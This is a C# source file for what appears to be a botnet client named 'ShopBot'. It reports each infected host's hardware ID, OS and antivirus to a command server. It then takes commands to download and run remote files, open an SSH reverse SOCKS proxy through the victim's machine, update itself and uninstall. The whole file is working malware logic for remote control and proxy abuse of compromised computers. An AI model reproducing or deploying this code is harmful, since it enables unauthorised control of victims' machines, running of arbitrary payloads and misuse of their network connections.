using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;

namespace ShopBot
{
    class Program
    {
        static Thread SocksThread;

        static void Main(string[] args)
        {
            try
            {
            Core.StartMutex.Start();

            string OldCommand = "";
            bool installed = false;

            //if Installed
            if (!installed)
            {
                //Install.Install.Start();
            }

            //Int Start
            while (true)
            {
                //Inter post
                string ActCommand = Core.Post.DoIt("mode=con", "hwid=" + Configuration.HWID + "&socksip=" + Configuration.SSHost + "&osversion=" + GetInformations.Informations.DetectOS() + "&antivir=" + GetInformations.Informations.DetectAntivir() + "&version=" + Configuration.Version);
                if (ActCommand != OldCommand && ActCommand != "" && ActCommand != null)
                {
                    ParseCommand(ActCommand);
                    OldCommand = ActCommand;
                }
                Thread.Sleep(Configuration.Intervall);
            
            }
            }
            catch (System.Exception ex)
            {
            }
        }

        public static void ParseCommand(string Command)
        {
            Console.WriteLine("Command: " + Command);
            string[] ArCommand = Command.Split('|');

            //Download Task Befehl: #download|http://www.yourfile.com/file.exe
            if (Command.StartsWith("#download"))
                Core.Download.Start(ArCommand[1]);

            //Start Reverse socks
            if (Command.StartsWith("#reverse"))
            {
                int SocksPort = Core.RandomClass.NewInt(2000, 30000);
                int HttpPort = Core.RandomClass.NewInt(1000, 30000);

                SSHReverseSocks.SSHConnection NewSSH = new SSHReverseSocks.SSHConnection(Configuration.SSHost, Configuration.SSHUser, Configuration.SSHPassword, Core.RandomClass.NewInt(3000, 30000), SocksPort, Core.RandomClass.NewInt(4000, 30000), HttpPort);
                SocksThread = new Thread(NewSSH.Start);
                SocksThread.Start();

                string ActCommand = Core.Post.DoIt("mode=proxy", "hwid=" + Configuration.HWID + "&socksport=" + SocksPort + "&httpport=" + HttpPort);
            }

            //Stop Reverse socks
            if (Command.StartsWith("#stopreverse"))
            {
                try
                {
                    SocksThread.Suspend();
                }
                catch { }
            }

            //Update Task, Zuerst Uninstall dann Download.
            if (Command.StartsWith("#update"))
            {
                try
                {
                    Core.Download.Start(ArCommand[1]);
                    Install.UnInstall.CleanRegistery();
                }
                finally { Environment.Exit(0); }
            }

            //Uninstall
            if (Command.StartsWith("#uninstall"))
            {
                Install.UnInstall.CleanRegistery();
                Environment.Exit(0);
            }
        }
    }
}
